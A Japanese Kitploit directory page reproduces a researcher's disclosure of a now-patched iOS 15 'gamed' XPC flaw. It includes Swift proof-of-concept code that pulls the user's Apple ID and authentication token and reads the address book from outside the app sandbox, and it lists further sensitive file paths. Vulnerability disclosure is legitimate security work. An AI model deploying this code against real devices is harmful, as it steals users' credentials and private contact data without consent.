Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ios-gamed-0day — iOSゲームエクスプロイト(15.0.2で修正済み) | Kitploit
ツール/GitHubGitHub/illusionofchaos/ios-gamed-0day
特権昇格iOSセキュリティ脆弱性分析エクスプロイト情報収集モバイルセキュリティ
GitHubillusionofchaos/ios-gamed-0day

ios-gamed-0day

iOSゲームエクスプロイト(15.0.2で修正済み)

リポジトリを見る
4368144年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

iOS gamed エクスプロイト(15.0.2で修正済み)

更新:Appleは公的な謝辞やクレジットを一切示すことなく、iOS 15.0.2でこれを静かに修正しました。

App Storeからインストールされたアプリは、ユーザーにプロンプトを一切表示することなく以下のデータにアクセスできる可能性があります:

  • Apple IDのメールアドレスと、それに関連付けられた氏名
  • Apple ID認証トークン。これにより、ユーザーに代わって *.apple.com 上の少なくとも1つのエンドポイントにアクセスできます
  • Core Duetデータベースへの完全なファイルシステム読み取りアクセス(Mail、SMS、iMessage、サードパーティ製メッセージングアプリからの連絡先リストと、これらの連絡先とのユーザーのすべてのやり取りに関するメタデータ(タイムスタンプや統計情報を含む)、また一部の添付ファイル(URLやテキストなど)も含む)
  • スピードダイヤルデータベースとアドレス帳データベースへの完全なファイルシステム読み取りアクセス。連絡先の写真や、作成日時・更新日時などのその他のメタデータも含みます(iOS 15で確認しましたが、これはアクセスできなかったため、静かに修正されたはずです)

以下は簡単な概念実証(PoC)です。

root@kitploit:~
let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)!
let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol
let pid = ProcessInfo.processInfo.processIdentifier
proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in
	accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in
		let appleID = response.credential.accountName
		let token = response.credential.authenticationToken
	}

	utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in
		let addressBookData = data
	}
}

発生の仕組み:

  • XPCサービス com.apple.gamed は com.apple.developer.game-center エンタイトルメントを適切にチェックしません
  • デバイスでGame Centerが無効になっている場合でも、getServicesForPID:localPlayer:reply: を呼び出すと、複数のXPCプロキシオブジェクト(GKAccountService、GKFriendService、GKUtilityService など)が返されます。
  • デバイスでGame Centerが有効になっている場合(App Store Connectでアプリに対して有効になっていない場合や、アプリが com.apple.developer.game-center エンタイトルメントを含んでいない場合でも)、GKAccountService で authenticatePlayerWithExistingCredentialsWithHandler: を呼び出すと、ユーザーのApple ID、DSID、Game Center認証トークンを含むオブジェクトが返されます(これにより、ユーザーに代わって https://gc.apple.com にリクエストを送信できます)。GKProfileService で getProfilesForPlayerIDs:handler: を呼び出すと、ユーザーのApple IDの姓名を含むオブジェクトが返されます。 で を呼び出すと、Game Centerにおけるユーザーの友達に関する情報を含むオブジェクトが返されます。

Apple Security Bounty Programページでは、この脆弱性は$100,000と評価されています(通常はTCCプロンプトまたはプラットフォームのサンドボックスによって保護されている機密データへの広範なアプリアクセス。「機密データ」へのアクセスには、連絡先からの広範なアクセス(つまり完全なデータベース)の取得が含まれます)。

ツールをダウンロード
GKFriendService
getFriendsForPlayer:handler:
  • デバイスでGame Centerが無効で、App Store Connectでアプリに対して有効になっておらず、アプリが com.apple.developer.game-center エンタイトルメントを含んでいない場合でも、GKUtilityService で requestImageDataForURL:subdirectory:fileName:handler: を呼び出すと、ファイルURLをそのメソッドに渡すことでアプリのサンドボックス外の任意のファイルを読み取ることができます。この方法でアクセスできるファイルには、以下のものがあります(これらに限定されません): /var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist - MobileGestaltキャッシュを含む /var/mobile/Library/CoreDuet/People/interactionC.db - Mail、SMS、iMessage、サードパーティ製メッセージングアプリからの連絡先リストと、これらの連絡先とのユーザーのやり取りに関するメタデータ(タイムスタンプや統計情報を含む)を含む /var/mobile/Library/Preferences/com.apple.mobilephone.speeddial.plist - お気に入りの連絡先とその電話番号を含む /var/mobile/Library/AddressBook/AddressBook.sqlitedb - 完全なアドレス帳データベースを含む /var/mobile/Library/AddressBook/AddressBookImages.sqlitedb - アドレス帳の連絡先の写真を含む
  • GKUtilityService で cacheImageData:inSubdirectory:withFileName:handler: を呼び出すと、アプリのサンドボックス外の場所に任意のデータを書き込める可能性があります。